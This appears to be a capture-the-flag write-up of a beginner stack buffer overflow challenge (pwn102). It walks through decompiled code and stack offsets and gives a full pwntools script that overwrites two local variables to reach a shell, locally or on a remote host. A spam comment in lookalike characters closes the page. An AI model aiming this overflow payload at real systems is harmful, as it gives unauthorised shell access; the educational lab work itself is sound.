Beginner level binary exploitation challenges.
Enumeration
Let’s start with some basic enumeration, what type of file is it?
pwn102.pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
A 64 bit elf binary, dynamically linked and unstripped. We can run this and get an idea of the program’s flow:
Similar to part 1, we have a basic binary that takes an input then responds with an answer depending on a condition. Let’s use strings to see if we have anything interesting:
We see the possible strings in the binary, this including /bin/sh. We know at some point in the binary, /bin/sh could be called. Let’s start reversing with ghidra:
void main(void)
{
undefined local_78 [104];
int local_10;
int local_c;
setup();
banner();
local_c = 0xbadf00d;
local_10 = -0x11e2153;
printf("I need %x to %x\nAm I right? ",0xbadf00d,0xfee1dead);
__isoc99_scanf(&DAT_00100b66,local_78);
if ((local_c == 0xc0ff33) && (local_10 == 0xc0d3)) {
printf("Yes, I need %x to %x\n",0xc0ff33,0xc0d3);
system("/bin/sh");
return;
}
puts("I\'m feeling dead, coz you said I need bad food :(");
/* WARNING: Subroutine does not return */
exit(0x539);
}
We run through setup and printing out the banner. We then check two variables, local_c and local_10 against two values, if both values are equal then we get a shell. local_c needs to be qual to 0xc0ff33
and local_10 needs to be equal to 0xc0d3
. Both of these are defined above but are never used in the program besides that comparison:
local_c = 0xbadf00d;
local_10 = -0x11e2153;
Checking the assembly, we can find the location for each variable used in the binary:
var int64_t var_70h @ rbp-0x70
var uint32_t var_8h @ rbp-0x8
var uint32_t var_4h @ rbp-0x4
We’re interested in the bottom two. How can we potentially over-write these? We have a scanf function that stores values into local_78 which has a buffer of 104:
__isoc99_scanf(&DAT_00100b66,local_78);
We can assume this is buffer overflow but let’s use checksec to confirm that:
We don’t have as many potential exploits as last time but since the canary isn’t used, we can perform buffer overflow.
Finally, how much padding do we actually need to overwrite these buffers. We can subtract the two RBP offsets to find this:
0x70 - 0x8 = 0x68 OR 104 in decimal
Scripting
We can write our script:
import sys
from pwn import *
local = None
ip = None
port = None
binPath = None
def genPayload():
## create padding (104 chars) and places values at RBP - 0x8 then RBP - 0x4
return b"A" * 0x68 + p32(0xc0d3) + p32(0xc0ff33)
def main():
## Generate payload + set binary context
payload = genPayload()
context.binary = binary = binPath
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
## Receive first line then reply with payload
p.recv()
p.sendline(payload)
p.interactive()
## Arg handling
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
We run the script and get our shell:
Нey tһere! This is my first visіt to your blog! We are a ⅽoⅼlection of volunteers and stаrting a new initiative in a community іn the same niche.
Your blоg pгovided us valuabⅼe information to work on. You
have done a eҳtraordinary job!